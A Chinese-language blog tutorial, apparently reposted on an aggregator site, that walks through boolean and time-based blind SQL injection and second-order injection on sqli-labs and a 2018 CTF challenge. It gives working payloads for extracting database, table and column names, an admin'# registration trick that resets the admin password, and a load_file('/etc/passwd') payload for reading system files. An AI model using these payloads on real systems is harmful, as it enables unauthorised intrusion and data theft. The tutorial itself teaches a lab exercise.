sql注入(二)盲注,二次注入

news2024/7/4 5:29:38

目录

一、布尔盲注

1.判断库名的长度

 2.判断数据库名

2.1判断数据库名首字符

 2.2 判断数据库名的其余字符

二、时间盲注:

1.判断库名的长度

2.判断库名:

3.判断表名payload:

4.爆出列名

5.爆数据

三、二次注入

         1.原理:

2. 关卡分析

2.1 登陆界面

 源码分析:

2.2 修改密码界面

 源码分析:

2.3 用户注册界面

 源码分析:

3. 开始二次注入

 注入思路:

4. 检测

登陆检测

注意一点:

二次注入实例二、 

 1. 源码恢复

 2. 登陆界面弱口令爆破

 3. 分析源码

 4.开始二次注入

4.1 注入思路

注入后的语句

4.2 第一次注入

4.2 第二次注入

 注入结果:

注意一点:


盲注分为:布尔盲注、时间盲注

一、布尔盲注

相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,通过条件猜测数据库的内容

关键函数:lentgh()  ascii()  substr()

布尔盲注的做法

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

我们这里用sqli-labs-master靶场的第五关来测试

1.判断库名的长度

payload:

?id=1' and length(database())>8--+

 结果:

回显为空说明判断错误

 payload:

?id=1' and length(database())=8--+

结果: 

  存在正确回显说明判断正确,数据库名长度为8

 2.判断数据库名

2.1判断数据库名首字符

payload:

?id=1' and ascii(substr(database(),1,1))=115--+
#通过substr函数截取数据库的第一个字符并判断其ascii码是否为115(字母 s)

 结果:

 2.2 判断数据库名的其余字符

?id=1' and ascii(substr(database(),2,1))=101--+

  其余操作相同故不再赘述。最后得到表名:security

同理可爆出表名和数据

?id=1' and if(ascii(substr(user(),1,1))=114--+
#(substr(user(),1,1):截取user函数的第一个字符。(114为r)

一般这种情况下储存的就是root权限内容

二、时间盲注:

适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否为数据库数据。

 关键函数:if()  lentgh()  ascii()  substr() sleep()

我们这里用sqli-labs-master靶场的第九关来测试

1.判断库名的长度

payload:

?id=1' and if(length(database())>8,sleep(3),0)--+

 结果:

页面未进行3秒延迟响应,证明所请求的数据为假。

payload:

?id=1' and if(length(database())=8,sleep(3),0)--+

结果: 

 这里请求延迟了3秒,证明请求的数据为真。

2.判断库名:

payload:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

结果:

 延迟3秒证明数据库名的第一个字符为“s”

payload:

?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),0)--+

  延迟3秒证明数据库名的第二个字符为“e”

由上可知数据库名的长度为8,经过8次检测数据库的名字为:“security”

3.判断表名
payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,y),z,d))=e,sleep(1),0)–-+
# x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位, e:字符对应的ascii码的长度。

例:爆出security数据库下第一个表的第一个字符

payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+

 结果:

延时成功,第一个表的第一个字符为e,经查第一个表名为:emails

爆出security数据库下第四个表的第一个字符

payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+

结果:

这里延迟注入成功,第四个表的第一个字符为u,经查证第四个表的表名为users,此表就是我们要找的用户表。

 注意这里爆出表名时最好使用 information_schema.tables 爆出表明,不要使用 information_schema.columns 表爆出表名原因:

 使用 information_schema.columns 查询表名时会出现重复表名, information_schema.tables 爆出表明只会出现单一的表名。

4.爆出列名

payload:

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='指定表名' and table_schema=database() limit x,y),z,d))=e,sleep(3),1)–-+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

例:爆出security数据库下user表第一个列的第一个字符

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(3),1)–+

结果:

延迟成功,说明第一例的列名为:‘i’

其余的操作都相同,故这里不再赘述。

5.爆数据

?id=1' and If(ascii(substr((select 列名 from users limit x,y),z,d))=e,sleep(2),1)--+

三、二次注入

1.原理:

主要分两步,第一步就是进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,但是数据库保存的数据仍然具有恶意内容。第二步就是在下一次进行数据的查询过程中,直接从数据库中取得恶意数据(开发者认为数据是可信的),这样就造成了SQL的二次注入。

即第一次注入是将恶意代码通过正常方式注入到数据库当中(通过注册框将含有恶意语句的用户注入到数据库的用户表内)。

第二次注入直接从数据库中取得恶意数据对原本数据库内的数据进行改变。

这里用sqli-labs-master靶场的第24关来测试举例:

2. 关卡分析

2.1 登陆界面

 源码分析:

将接收到的用户及密码内容转交给login.php 文件

 在login.php 文件中将所输入的用户及密码中的内容通过mysql_real_escape_string进行过滤。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

之后将过滤的内容传到数据库,再进行数据库users表的查询看是否存储到users表中。

 

查询后没问题就将未过滤的username写入session,之后就跳转到 logged-in.php文件中。(此文件主要负责修改密码)

2.2 修改密码界面

 源码分析:

 首先判断session是否存在,如果不存在需要你在index.php文件中重新登录,之后将接收到的原密码和修改后的密码用mysql_real_escape_string函数进行过滤,再使用sql语句将密码在数据库中修改。

2.3 用户注册界面

 源码分析:

 这里将输入的新用户及密码同样进行了过滤,之后使用sql语言进行查询判断。

3. 开始二次注入

首先查看用户表我们用admin用户作为注入点写入恶意代码。

 注入思路:

在注册时使用 admin'# 为用户名进行注册,之后在修改 admin’# 密码时由于修改语句为:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里的 $username 为admin'#会出现以下结果:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
这里可以看到引号将用户 admin 闭合且用#将之后的语句全部注释掉,所以修改密码时只能通过用户名来进行查找并修改,改密码时前面的用户名变成了admin,顺势就将用户名为admin的用户密码在数据库中进行了修改。

第一次注入:我们先通过注册界面通过用户信息将恶意数据注册到数据库中。

 登陆查看用户信息是否注入成功

 第二次注入:修改密码时直接从数据库中取得恶意用户数据,对原本数据库内的数据进行更改。

 修改用户admin'#的密码看用户admin的密码是否会被修改,这里将admin'#的密码修改为666666

4. 检测

查看数据库的内容:

 发现用户 admin'# 的密码未被修改,但用户 admin 的密码被修改,注入成功。

登陆检测

登陆成功,证明admin的密码确实被修改,注入成功。 

注意一点:

在注册时 username 已经被 mysql_real_escape_string 函数过滤过一遍为什么还会注入成功呢?

原因在注入时 admin'# 会被函数转译为 admin\'# 会导致注入失败,但是当 admin\'# 进入数据库是转义符 \ 会被丢弃导致注入成功。

二次注入实例二、 

这里的示例为 网鼎杯 2018 Comment二次注入下载地址为:GitHub - CTFTraining/wdb_2018_comment: 网鼎杯 2018 Comment

1源码恢复

首先需要知道漏洞源码来分析漏洞类型, 我们可以通过扫描根目录查看是否有源码。

这里我们使用了扫描工具:airmap

扫描结果:

 程序中存在git有可能已经被提交,但我们查看到网页提示文档未进行commit,即其程序的内容还被保留在本地的缓存中,所以我们要先回复一下git泄漏的文件,这里我们使用githacker进行恢复。

 恢复后的文件

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这里的write和comment分别对应发帖和留言界面 可以看到所有参数都进行了addslashes函数处理

 2. 登陆界面弱口令爆破

 我们在注入时突然弹出用户登陆框不过这里的用户名、及一部分密码已经给出,方便起见我们使用burp进行弱口令爆破,这里不赘述。

爆破出来用户密码结果为:zhangwei666

3. 分析源码

case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;

这里为发帖框源码,可以看到这里接收的title、category、content函数均被addslashes过滤 ,所以无法在此处进行直接注入。之后将过滤的内容插入到board表中。

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号  '
  • 双引号  "
  • 反斜杠  \
  • NULL

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

 这里为留言框源码,content 主要是用来接收留言板输入的内容。

 $category = mysql_fetch_array($result)['category'];主要看这段语句表示将插入到数据库的语句重新拿出来使用,这样的话我们就可以进行二次注入,所以他的注入点就在 $sql 插入数据库语句的这一部分。

 4.开始二次注入

4.1 注入思路

我们通过源码可知 $category = mysql_fetch_array($result)['category']; 这段是将之前存入到数据库$category的数据重新拿出来使用。而且下面插入数据库的语句:

 $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";

刚好就将 $category 数据直接使用,我们知道 $category 中的数据是通过之前的发帖框中由用户直接发帖输入的,所以 $category 数据可以作为第一次注入的注入点将恶意语句直接进行注入。

我们再看他插入数据库的语句的顺序,首先是被调用的 category 恶意语句,然后是留言框输入的content中的内容,之后是 bo_id字段。

注入思路是通过输入的 category 字段的内容在第二次注入时从数据库中调用将 contet 字段仿造改写成注入语句,并将原本的 contet 字段注释掉。

 $sql = "insert into comment
            set category = '$category',   在第一次注入时将category写成 ',content =注入语句,/*
                content = '$content', 在第二次从留言板注入时使用 */# 将前后语句都注释掉只留下注入语句。
                bo_id = '$bo_id'"; 

注入后的语句

insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

4.2 第一次注入

首先在 $category 中插入放仿写 content 的恶意语句

 结果:

 这里可以看到仿写的 content 语句已经成功被提交且被存放在数据库中。

4.2 第二次注入

',content=(select(load_file("/etc/passwd"))),/*

 注入结果:

 这里成功得到了用户信息,证明将 content 字段仿写成功,注入成功。

我们还可以读取password:

payload:

',content=(select(load_file("/etc/passwd"))),/*

结果:

 

以此类推,我们还可以查询到数据库的其他信息,这里就不再做演示。

注意一点:

我们输入的信息全部被addslashes函数过滤了一遍为什么还可以注入成功呢?

先addslashes转义存入数据库,数据库会将转义符丢弃,再从数据库中调用数据就是不带转义符的数据,故注入成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/477702.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 常用操作技巧

Linux 操作技巧大全 Linux是一种强大的操作系统&#xff0c;掌握各种操作技巧可以帮助我们惬意地使用它。在这篇博客中&#xff0c;我们将分享一些实用的Linux技巧&#xff0c;希望能对您有所帮助&#xff01; 1. 使用Tab进行自动补全 在输入命令时&#xff0c;按下Tab键可…

漫谈大数据 - 数据湖认知篇

导语&#xff1a;数据湖是目前比较热的一个概念&#xff0c;许多企业都在构建或者准备构建自己的数据湖。但是在计划构建数据湖之前&#xff0c;搞清楚什么是数据湖&#xff0c;明确一个数据湖项目的基本组成&#xff0c;进而设计数据湖的基本架构&#xff0c;对于数据湖的构建…

Embarcadero Delphi 11 和 C++Builder 11 免费社区版发布!

Embarcadero为Delphi和CBuilder的最新11.3版本提供了社区版许可证。这是Delphi或CBuilder的免费版本&#xff0c;适用于学生&#xff0c;业余爱好者和初创公司&#xff08;因为许可证仅对于收入有限的公司或个人&#xff09;。 什么是CE社区版&#xff1f; Delphi 和 CBuilde…

【Git 入门教程】第七节、Git 远程仓库(Github)

GitHub是一个基于Git的代码托管平台&#xff0c;它是全球最大的开源软件社区之一。GitHub允许开发者在上面创建和托管他们的Git仓库&#xff0c;并与其他开发者进行协作。 GitHub是一个非常流行的Git工具&#xff0c;它是开源社区的重要组成部分&#xff0c;并支持许多著名的开…

【MySQL】交叉连接、自然连接和内连接查询

一、引入 实际开发中往往需要针对两张甚至更多张数据表进行操作&#xff0c;而这多张表之间需要使用主键和外键关联在一起&#xff0c;然后使用连接查询来查询多张表中满足要求的数据记录。一条SQL语句查询多个表&#xff0c;得到一个结果&#xff0c;包含多个表的数据。效率高…

测试人员的启蒙指南

文章目录 一. 了解测试1. 生活中的测试场景2. 什么是软件测试3. 实战练习 二. 软件测试和软件开发的区别三. 软件测试和软件调试的区别四. 软件测试的发展五. 软件测试的岗位六. 一个优秀的软件测试人员具备的素质 本篇中介绍测试人员是干什么的, 起到启蒙和了解的作用, 重点是…

A 股指数分时行情数据 API 数据接口

A 股指数分时行情数据 API 数据接口 多维度分时指标&#xff0c;指数分时&#xff0c;多时间区间查询参数。 1. 产品功能 支持所有指数数据查询&#xff1b;支持指数分时数据查询&#xff1b;多时间维度分时数据&#xff1b;多维度的统计时间以及数据结果&#xff1b;秒级查询…

linux系统应用中select函数与poll函数详解

目录 第一&#xff1a;poll()函数详解 第二&#xff1a;select()函数详解 第一&#xff1a;poll()函数详解 1 poll函数概述 select() 和 poll() 系统调用的本质一样&#xff0c;poll() 的机制与 select() 类似&#xff0c;与 select() 在本质上没有多大差别&#xff0c;管理多…

外设驱动库开发笔记53:MAX31856热偶变送器驱动

在我们的产品中经常有需要温度检测的地方&#xff0c;而热电偶温度检测电路是我们常用的。热电偶温度检测的方法很多&#xff0c;有时出于简单方便的考虑我们会选择热偶温度变送器来实现&#xff0c;这一篇我们就来讨论使用MAX31856热电偶温度变送器实现温度的检测。 1、功能概…

【PCL】—— 点云配准ICP(Iterative Closest Point)算法

文章目录 数学原理问题定义计算平移计算旋转 案例实现参考 ​     由于三维扫描仪设备受到测量方式和被测物体形状的条件限制&#xff0c;一次扫描往往只能获取到局部的点云信息&#xff0c;进而需要进行多次扫描&#xff0c;然后每次扫描时得到的点云都有独立的坐标系&…

第十六章 预制件prefab(上)

本章节我们介绍一下“预制件”&#xff0c;也有人叫“预制体”&#xff0c;也就是Prefab。在游戏世界中&#xff0c;那些自然环境的游戏对象&#xff0c;我们可以提前创建在场景中&#xff0c;这个大家能够理解。但是&#xff0c;有些游戏对象&#xff0c;需要根据游戏逻辑来通…

20230430 ICFD学习笔记 管道流动

三个边界: (1) 速度入口 (2) 压力出口 (3) 非滑移边界 一、先利用workbench进行网格的划分,导出K文件。 二、利用Ultraeidt进行K文件的修改 (或者是在lspp中直接删除也行) K文件开头是*Keyword Part *Define coordinate system后面到*Database binary D3prop全部删除 &…

Dubbo总结

目录 什么是分布式系统 单机架构、集群架构、分布式架构 Dubbo的概念 Dubbo的核心组件 Dubbo的常用注解 Dubbo的高级特性&#xff1a; 序列化特性安全 地址缓存 超时机制 重试机制 多版本灰度发布 负载均衡 集群容错 服务降级 服务限流 结果缓存 Dubbo实战&#xff1a;…

40.java-Set集合(HashSet,LinkedHashSet,TreeSet)

Set集合 1.Set集合特点2.Set集合实现类3. HashSet3.1 底层原理3.1.1 哈希表组成3.1.2 哈希值3.1.3 对象的哈希值特点 3.2 数据添加元素的过程3.3 HashSet的三个问题3.4 实例&#xff1a;去除重复元素 4. LinkedHashSet5. TreeSet5.1 特点5.2 集合默认规则5.3 例子5.4 两种比较规…

JavaScript 知识总结上篇(更新版)

1. 为什么 JS 是单线程的&#xff1f; 因为JS里面有可视的Dom&#xff0c;如果是多线程&#xff0c;这个线程正在删除DOM节点&#xff0c;另一个线程正在编辑Dom节点&#xff0c;导致浏览器不知道该听谁的 2.如何理解同步和异步&#xff1f; 同步&#xff1a;按照代码书写顺…

Linux——中断和时间管理(下)

目录 延时控制 定时操作 低分辨率定时器 高分辨率定时器 练习 延时控制 在硬件的操作中经常会用到延时&#xff0c;比如要保持芯片的复位时间持续多久、芯片复位后要至少延时多长时间才能去访问芯片、芯片的上电时序控制等。为此&#xff0c;内核提供了一组延时操作函数。…

DDD系列:三、Repository模式

为什么需要Repository&#xff1f; ​ Anemic Domain Model&#xff08;贫血领域模型&#xff09;特征&#xff1a; 有大量的XxxDO对象&#xff1a;这里DO虽然有时候代表了Domain Object&#xff0c;但实际上仅仅是数据库表结构的映射&#xff0c;里面没有包含&#xff08;或…

kafka整理

kafka整理 一、kafka概述 kafka是apache旗下一款开源的顶级的消息队列的系统, 最早是来源于领英, 后期将其贡献给apache, 采用语言是scala.基于zookeeper, 启动kafka集群需要先启动zookeeper集群, 同时在zookeeper记录kafka相关的元数据 kafka本质上就是消息队列的中间件产品…

Codeforces Round 867 (Div. 3)(A-G2)

文章目录 A. TubeTube Feed1、题目2、分析3、代码&#xff0c; B. Karina and Array1、题目2、分析3、代码 C. Bun Lover1、问题2、分析&#xff08;1&#xff09;观察样例法&#xff08;2&#xff09;正解推导 3、代码 D. Super-Permutation1、问题2、分析&#xff08;1&#…

力扣第343场周赛

第一次力扣&#xff0c;等大二寒暑假&#xff0c;有时间再来系统刷题 目录 &#x1f33c;前言 &#x1f33c;一&#xff0c;6341.保龄球游戏的获胜者 &#x1f33c;二&#xff0c;6342.找出叠涂元素 &#x1f333;第一次 -- 超时 &#x1f333;第二次 -- AC &#x1f33c…